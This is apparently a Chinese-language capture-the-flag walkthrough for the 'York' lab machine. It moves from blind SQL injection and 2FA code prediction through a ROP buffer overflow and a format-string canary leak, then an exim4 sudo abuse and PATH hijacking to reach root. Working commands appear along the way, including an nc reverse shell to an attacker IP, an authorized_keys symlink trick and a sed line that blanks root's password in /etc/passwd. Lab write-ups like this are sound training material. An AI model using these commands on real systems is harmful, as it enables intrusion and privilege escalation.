Sublarge

// 红队渗透 · 2026-02-28

TheHackerLabs-York 靶机WP

York 是一台专家级高难度靶机,全程无简单漏洞,全程考验漏洞挖掘、代码审计、二进制 Pwn 与 Linux 提权能力。从 SQL 盲注、2FA 算法破解、ROP 链绕过 NX 保护,到格式化字符串泄露 Canary、栈溢出绕过保护机制,再到最终路径劫持拿下 root,每一步都是硬核攻防。整套渗透链环环相扣,是极具挑战的进阶实战靶机。

靶机信息

image.png 难度:Profesional

靶机链接:https://labs.thehackerslabs.com/machine/168

​

York 是 THL 的一台专家级高难度靶机,全程无简单漏洞,全程考验漏洞挖掘、代码审计、二进制 Pwn 与 Linux 提权能力。从 SQL 盲注、2FA 算法破解、ROP 链绕过 NX 保护,到格式化字符串泄露 Canary、栈溢出绕过保护机制,再到最终路径劫持拿下 root,每一步都是硬核攻防。整套渗透链环环相扣,是极具挑战的进阶实战靶机。

信息收集

端口扫描

首先,使用 nmap 进行扫描,以识别开放的端口。

nmap -p22,3000,6969,9696 -sCV -Pn -n -oN targeted $ip
text1 行

扫描完成后,得到以下结果:

我们发现了 4 个端口:22、3000、6969、9696

Gitea 信息收集

由于 6969 和 9696 端口运行的是未知服务,我们先从 3000 端口入手——该端口运行的是 Gitea,我们可能会在其中找到一些有价值的文件。

image.png

image.png

image.png

检查完代码仓库后,我们发现了一个属于 admin 用户的仓库,其中包含一段 C 语言代码。这段代码仅包含一个功能:生成 64 位的“安全”2FA 验证码。之所以给“安全”加引号,是因为这些验证码是基于 srand 时间种子生成的,因此可以被预测。

SQL 注入(SQLi)漏洞识别

在剩余两个端口(均带有登录功能)上进行测试后,我发现向 6969 端口输入单引号时,返回结果出现异常:

❯ nc 192.168.56.89 6969
User: admin
Password: admin
User or Password incorrect
❯ nc 192.168.56.89 6969
User: admin'
Password: a
❯
text8 行

具体差异在于:输入单引号后,目标未返回错误提示信息,这意味着我们可能破坏了数据库查询语句。此时我们可以尝试使用 sqlmap 进行利用,但该工具仅适用于 Web 应用场景,因此我们只能选择手动利用,或搭建一个临时的 Flask Web 服务作为代理,将 Web 登录面板的请求转发至 6969 端口的登录服务。以下是手动利用的基础示例代码:

漏洞利用与凭证获取

不过我选择使用 Web 代理的方式进行利用。针对这种一次性的临时需求,我借助 AI 生成了一个临时 Web 服务代码。实质上就是将非标准协议(TCP Raw Socket)转换为标准 HTTP 协议,搭了个转发层方便工具测试:

运行该脚本后,向本地 8888 端口发起 sqlmap 扫描:

sqlmap --url "http://127.0.0.1:8080/" --forms --batch --dbms=mysql
text1 行

等待数分钟后,可确认目标存在漏洞:

---
Parameter: user (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=ibbX' AND (SELECT 3041 FROM (SELECT(SLEEP(5)))MQdf) AND 'WKvr'='WKvr&pass=
---
text6 行

确认漏洞后,我们可以枚举数据库,共发现 3 个数据库:

[*] bin_auth
[*] information_schema
[*] python_auth_proyect
text3 行

基于上述结果,我们选择导出 bin_auth 数据库,最终成功获取到用户凭证。

❯ sqlmap -u "http://127.0.0.1:8888/?user=admin&pass=admin" --batch -p user -D bin_auth -T users -C username,password --dump
text1 行

权限入侵

2FA 绕过

在 9696 端口测试获取到的凭证时,发现凭证正确,但系统要求输入二次验证(2FA)验证码:

❯ nc 192.168.56.89 9696
sáb 28 feb 2026 10:19:25 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: 123123
Wrong Code
❯
text8 行

看到这一现象,我们可以联想到此前发现的用于生成验证码的二进制程序。
尽管暂时无法通过 2FA 验证,但我们获取到了关键信息:目标返回的第一行内容是 date 命令的执行结果。这一点至关重要——如果本地系统与目标系统的时间存在偏差,基于 srand 种子生成的验证码将无法匹配。因此,我们需要先同步时间,设置正确的时区(目标系统时区为 GMT-3),编写脚本如下:

通过这段代码,我们成功绕过 2FA 验证,并看到了一个新的操作菜单:

image.png

在上述选项中,第二个选项的价值最高。我们输入 2,得到了 Gitea 的用户凭证。

❯ python3 2fa.py
lun 09 feb 2026 20:30:24 -03
Username: Password: Login Successful
Enter the 2fa code:
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> $ 2
matsi:&2c6d~B5$6wR~)n
$
text10 行

​

易受攻击二进制程序分析

使用新获取的凭证登录 Gitea 后,我们发现了一个包含 9696 端口对应二进制程序的私有仓库

image.png

可通过程序运行行为确认匹配关系:

❯ ./bin
lun 09 feb 2026 20:53:51 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: a
Wrong Code
❯
text8 行

使用 ida 分析该二进制程序后发现,“Print a test message”选项存在数据写入超出缓冲区容量的问题,由此可判定该程序存在缓冲区溢出(Buffer Overflow)漏洞。

image.png

缓冲区溢出 ROP 链利用

查看该二进制程序的保护机制,发现仅启用了 NX 保护:

❯ checksec bin
[*] './bin'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    Stripped: No
❯
text9 行

这意味着栈区不可执行,因此我们无法通过植入 shellcode 的方式实现利用(shellcode 永远不会被执行)。我们可以尝试 ret2libc 攻击,但如果目标系统启用了 ASLR(地址空间布局随机化),libc 的基地址会在每次程序执行时变化,这会大幅增加利用难度(需要先泄露 libc 基地址)。相比之下,使用 ROP 链 进行利用更为简单——只需找到若干可用的 gadgets(小工具),即可完成漏洞利用。

查找偏移量

首先需要确定缓冲区溢出的偏移量。我们可以使用 Metasploit 的工具生成模式字符串,并将其传入目标程序:

❯ pattern_create.rb -l 120
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8<SNIP>9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
❯
text3 行

修改测试代码,使其发送模式字符串,并预留足够时间让我们通过 gdb 附加到进程:

上述代码中,我们使用 pause() 函数“冻结”进程,以便通过 gdb 附加:

image.png

执行代码后,我们可以看到进程 PID,使用 gdb 附加到该进程:

❯ gdb -p 1927345
text1 行

在 gdb 中输入 continue 继续执行,同时在漏洞利用脚本中按下任意键。
当程序崩溃时,执行 info frame 命令,即可获取计算偏移量所需的关键值:

pwndbg> info frame
Stack level 0, frame at 0x7fff7b5ec250:
 rip = 0x40174d in main; saved rip = 0x4130634139624138
 called by frame at 0x7fff7b5ec258
 Arglist at 0x6241376241366241, args: 
 Locals at 0x6241376241366241, Previous frame's sp is 0x7fff7b5ec250
 Saved registers:
  rbp at 0x7fff7b5ec240, rip at 0x7fff7b5ec248
text8 行
❯ pattern_offset.rb -q 0x4130634139624138
[*] Exact match at offset 56
text2 行

确定偏移量后,接下来需要查找可用于利用的函数、gadgets 等资源。

二进制程序内部查找

我们可以使用 radare2 进行查找,但为了便捷性,我选择使用 ida。
在分析过程中,我们发现了 _xl 函数:

❯ objdump -D bin | grep '_xl' -A 7
00000000004011cc <_xl>:
  4011cc: 55 push %rbp
  4011cd: 48 89 e5 mov %rsp,%rbp
  4011d0: 48 89 e7 mov %rsp,%rdi
  4011d3: 41 ff e5 jmp *%r13
  4011d6: 90 nop
  4011d7: 0f 0b ud2
text8 行

该函数的价值在于:第二条指令将栈顶(RSP)内容复制到 RDI 寄存器——而调用 system 函数时,其第一个参数正是从 RDI 寄存器读取(遵循 RDI > RSI > RDX > RCX > R8 > R9 的参数传递规则)。当程序执行到栈顶时,我们可以将 /bin/sh\x00 字符串放入 RDI 寄存器,供后续 system 函数调用。此外,函数末尾的 JMP R13 指令也极具价值:我们只需找到 pop r13 这样的 gadget,将 system 函数的地址加载到 r13 寄存器,当 _xl 函数被调用时,即可成功执行 /bin/sh。

查找函数、system 及 pop r13 的地址

使用 objdump 即可获取上述关键地址:

❯ objdump -D bin | grep -E '_xl|system|pop %r13'
0000000000401050 <system@plt>:
  401050: ff 25 ba 2f 00 00 jmp *0x2fba(%rip) # 404010 <system@GLIBC_2.2.5>
  4011c6: 41 5d pop %r13
00000000004011cc <_xl>:
  4012ea: e8 61 fd ff ff call 401050 <system@plt>
  4016fa: e8 51 f9 ff ff call 401050 <system@plt>
text7 行

至此,我们已获取所有必要的地址:

# System 地址 --> 0x401050
# _xl 函数地址 --> 0x4011cc
# Gadget 地址 --> 0x4011c6
text3 行

基于上述信息,完善漏洞利用脚本:

通过该 payload,我们完成了所有利用准备——调用 _xl 函数时,即可获取交互式 shell:

image.png

接下来,修改脚本使其连接目标主机,获取 matsi 用户的交互式 shell:

由于存在微小的时间偏差,我需要将时间回调 2 秒以生成正确的验证码:

❯ python3 exp.py
[+] Opening connection to 192.168.56.89 on port 9696: Done
[*] Switching to interactive mode
sáb 28 feb 2026 10:33:26 -03
Username: Password: Login Successful
Enter the 2fa code: 
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> > NOP

Did the message print correctly?: $ id
uid=1000(matsi) gid=1000(matsi) grupos=1000(matsi)
text13 行

至此,拿下 user.txt,过程十分艰辛。

image.png

然后把公钥写里边一份,方便 ssh 登录。

横向移动

利用 sudo 权限执行 exim4 提权

执行 sudo -l 查看权限,发现当前用户可以 NnN 用户身份执行 exim4。

image.png

查阅官方手册后,可通过以下方式进行利用:

echo -en '#!/bin/bash\nnc -c /bin/bash 192.168.56.6 4444' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && sudo -u NnN exim4 -be 'x=${run{/tmp/shell.sh}}'
text1 行
  • -be 选项:这是 Exim4 的“测试字符串扩展”模式(Base Expansion)。它允许用户在命令行中测试 Exim 的内置函数和语法,而不发送邮件。
  • ${run{...}}:这是 Exim 配置文件中的一个功能强大的指令,用于执行外部二进制文件或脚本。
  • 执行逻辑:当 exim4 处理 -be 后的表达式时,它会触发 ${run} 指令,从而以当前运行 exim4 的用户身份(即 NnN)执行 /tmp/shell.sh。

执行上述命令后,即可获取 NnN 用户的交互式 shell。

image.png

带栈保护(Canary)的缓冲区溢出利用

执行 sudo -l 后发现,当前用户可以 nati 用户身份执行 /opt/copy 路径下的二进制程序。我们先将该程序下载到本地,使用 ida 进行分析。

易受攻击二进制程序分析

首先查看 main 函数:

image.png

在该函数中可以看到,易受攻击的输入点通过 fgets 向 72 字节的缓冲区写入 120 字节数据。此外,第一个输入内容直接通过 printf 输出,这导致了格式化字符串漏洞——该漏洞可帮助我们泄露栈保护值(Canary)。
继续分析其他函数,发现以下关键函数:

该函数将文件从 /tmp/sdfile 复制到 /tmp/lsdfile。我们可以调用该函数实现提权:由于当前是以 sudo 方式执行该程序(身份为 nati 用户),我们可将 /tmp/lsdfile 设置为指向 /home/nati/.ssh/authorized_keys 的符号链接,然后将 /tmp/sdfile 写入我们的 SSH 公钥。当函数执行时,即可将公钥写入 nati 用户的 authorized_keys 文件,进而通过 SSH 登录 nati 用户。

泄露栈保护值(Canary)地址

为泄露 Canary 地址,我们需要利用上述格式化字符串漏洞。首先编写 Python 脚本,向目标程序输入 %p(C 语言中,printf 的 %p 格式化符会以十六进制打印栈上的值)。单纯的 %p 价值有限,但结合数字使用(如 %12$p),即可打印栈上第 12 个值的十六进制形式。基于此,我们编写脚本循环执行 100 次,每次递增位置参数,通过视觉识别找到 Canary(x64/x86 系统中,Canary 通常以 00 结尾):

from pwn import *
context.log_level = 'error'
for i in range(1, 100):
    p = process("./copy")
    payload = f'%{i}$p'.encode()
    p.sendline(payload)
    data = p.recvline()
    canary = re.search(', (.*?)\\n', data.decode()).group(1)
    p.sendline(b"a")
    print(f'{i} -> {canary}')
text10 行

执行脚本后,得到如下输出(节选):

1 -> 0x402039
2 -> (nil)
3 -> (nil)
4 -> 0x206d36b5
5 -> (nil)
6 -> 0x7024362500000000
7 -> 0xa
<SNIP>
17 -> 0x720de6ab4bb30700
18 -> 0x1
<SNIP>
36 -> 0x7ffd0cfe91b8
37 -> 0xf64671ebf0285600
text13 行

从上述输出中可识别出 Canary 出现在两个位置:

  • %17$p
  • %37$p
    我们选择第一个位置(%17$p)作为每次执行程序时泄露 Canary 的方式。

编写基础利用脚本

首先整理已获取的信息:

  • 偏移量:72(通过 ida 分析得出)
  • Canary 地址:%17$p
  • 目标函数地址:待获取

接下来,修改脚本使其自动获取目标函数地址并完成利用:

将该脚本上传至目标主机后,需先创建 Python 虚拟环境(因目标主机未安装 pwntools):

python3 -m venv pwntools
source pwntools/bin/activate
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple
text3 行

执行利用脚本前,需完成以下准备工作:

### 切换到 /tmp 目录 ###
cd /tmp
### 创建所需文件 ###
touch sdfile && touch lsdfile
### 设置文件权限 ###
chmod 777 sdfile lsdfile
### 创建符号链接 ###
ln -sf /home/nati/.ssh/authorized_keys lsdfile
### 生成 SSH 密钥对 ###
ssh-keygen -t ed25519
### 将公钥写入源文件 ###
cp ~/.ssh/id_ed25519.pub /tmp/sdfile
text12 行

完成上述操作后,执行利用脚本,即可通过 SSH 密钥登录 nati 用户。

image.png

这里我不用 socat 将程序绑定到端口运行, 常打格式化字符串的朋友应该懂,远程环境下的 Stdio 缓冲区行为与本地往往不一致,极易产生各种‘灵异’ Bug,直接打本地能避免不必要的麻烦。

路径劫持(Path Hijacking)

进一步枚举发现,nati 用户的家目录中存在一个设置了 SUID 权限的二进制程序。分析后发现,该程序以相对路径调用 uptime 命令:

nati@york:~$ ./msg 
Congratulations, you've reached the end of this challenge! Just 2 more steps and you'll finally be able to complete it.
total time elapsed: 
 11:09:16 up 11 min,  2 users,  load average: 0.04, 0.04, 0.01
text4 行

基于此,我们可以编写一个提权脚本,原理就是把 root 密码置空然后切换成 root:

#!/bin/bash
sed 's/root:x:/root::/g' -i /etc/passwd
su
text3 行

执行以下命令完成提权准备:

chmod +x uptime && export PATH=.:$PATH
text1 行

运行目标二进制程序后,即可获取 root 权限的交互式 shell。

image.png

没想到最后作者还要折腾下你,需要我们循环解 3000 次压缩包,直接干:

while ls *.zip >/dev/null 2>&1; do f=$(ls -t *.zip | head -n1); unzip -o "$f" && rm "$f"; done && cat root.txt
text1 行

image.png

最终拿到/root/root.txt,结束。

总结

  1. York 靶机作为一台专家难度靶机,渗透过程中综合利用了多种高级漏洞与技术,涵盖 SQL 注入、2FA 验证码预测、缓冲区溢出(ROP 链利用)、带 Canary 保护的缓冲区溢出、格式化字符串漏洞及路径劫持,对漏洞挖掘、利用思路和调试能力均提出了较高要求。
  2. 整个渗透测试的关键提权路径明确,逐步实现权限升级:普通用户 → matsi(通过缓冲区溢出漏洞获取权限)→ NnN(借助 sudo 权限执行 exim4 程序提权)→ nati(绕过 Canary 保护,结合符号链接与文件复制写入 SSH 公钥实现登录)→ root(利用路径劫持漏洞完成最终提权)。
  3. 渗透过程中的核心技巧的应用的是成功突破靶机的关键,主要包括:通过时间同步修正偏差,实现 2FA 验证码绕过;利用 ROP 链技术绕过 NX 保护,完成缓冲区溢出利用;借助格式化字符串漏洞精准泄露 Canary 值,突破栈保护;通过符号链接与文件复制功能结合,实现 SSH 公钥写入,完成横向移动与权限提升。

累了累了,休息下~

原文 https://xz.aliyun.com/news/91654